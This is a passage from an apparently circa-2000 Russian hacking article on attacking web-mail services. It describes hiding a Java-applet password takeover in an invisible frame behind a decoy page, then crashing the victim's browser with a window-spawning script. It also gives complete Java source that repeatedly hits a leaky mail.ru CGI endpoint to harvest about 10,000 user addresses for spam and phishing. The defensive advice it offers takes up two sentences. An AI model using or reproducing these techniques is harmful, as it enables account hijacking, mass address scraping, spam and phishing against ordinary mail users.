3. Макияж...
Не стоит, конечно, проводить всю эту процедуру перед глазами пользователя (может он ещё не отключил подтверждение на отправку форм или успеет запомнить разглядеть и запомнить новый пароль). Разумнее переадресовать апплет на какой-нибудь файл содержащий frameset
<FRAMESET COLS="99%,1%">
<FRAME SRC="zastavka.html" NAME="v1">
<FRAME SRC="editprofile.html" NAME="w1">
где zastavka маскирует письмо под безобидную рекламу или дружеское письмо, а editprofile выполняется в невидимом фрейме.
По окончании смены паролей лучше сымитировать сбой т.к. в течении сеанса пользователь может исправить пароль. В IE под Win 95/98, например, достаточно выполнить скрипт open("javascript:open(window.location)"); приводящий к бесконечному размножению окон, требующему перезагрузки. Само письмо лучше отослать (на случай неудачи) от анонимной службы рассылки писем.
На 06.01.2000 пример ещё работал. Исходники на www.chat.ru/~avkvladru/mail/
Защититься от этой атаки как всегда просто. Отключить Java, а лучше, отказаться от использования Web-интерфейсов. Тот же mail.ru предлагает и форвардинг и pop-сервера. Экономия на настройке приносит проблемы с безопасностью не только администраторам больших сетей, поверьте.
4. Составляем список абонентов сервера.
Заветной мечтой всех спамеров мира является список (база) абонентов. Недаром, в их среде постоянно ходят слухи о каких-то почтовых серверах, поддерживающих команду finger
Нередко почтовые Web-сервера могут "бесплатно" предоставить подобную информацию. Метод её получения довольно прост. При легальной работе с почтовым ящиком запоминаем адреса CGI-скриптов, ответственных за смену и чтение параметров пользователей. Потом, вызываем их без параметров (форм). Вполне вероятны ошибки в скриптах, при которых они отработают с последними занесёнными (или использующимися в текущий момент) именами пользователей.
Конечно, шансов на то, что параметры можно изменить, нулевые, а вот сообщение об ошибке доступа вполне может содержать имя пользователя, как это происходит на mail.ru. При обращении к тому же "http://koi.mail.ru/cgi-bin/modifyuser?modify" выдаётся сообщение вида
Настройки пользователя mnebojsa@mail.ru
Ошибка. Не заполнены необходимые поля.
-
При следующем обращении "сдастся" следующий пользователь или "@/" если таковых не окажется. Осталось исследовать внутреннюю структуру ответа, да написать программу, повторяющую подобные запросы и фильтрующую ответ в поисках нужной информации. Лучше запускать её в часы пик
-------------------------
http://www.chat.ru/~avkvladru/mail/getname.java
-------------------------
import java.io.*;
import java.net.*;
import java.util.*;
public class getname {
public static void main(String args[]) {
String nextline;
try
{
URL mailserv= new URL("http://koi.mail.ru/cgi-bin/modifyuser?modify");
for (int i=1;i<=10000;i++)
{
DataInputStream input = new DataInputStream (
mailserv.openConnection().getInputStream());
nextline=input.readLine();
nextline=input.readLine();
nextline=input.readLine(); // Нужный нам адрес - в третьей строке
// выходного документа
System.out.println( nextline);
input.close();
}
}
catch(Exception ioe)
{
System.out.println(ioe.toString());
}
}
};
--------------------------------------------------
Вызовы команд вида ( в среде JDK) :javac getname.java - компилируем файл :java getname > userlist.txt
занесут в файл userlist.txt примерно 10000 e-mail адресов.
Теперь больной манией величия "хакер" вполне может создать программу, автоматически рассылающую письма-ловушки отбирающие почтовые ящики, практичный спаммер - рекламу, а конкуренты - сообщение, вида: "бесплатный сервис mail.ru будет с начала месяца прекращён, воспользуйтесь xxxx.ru" или всё вместе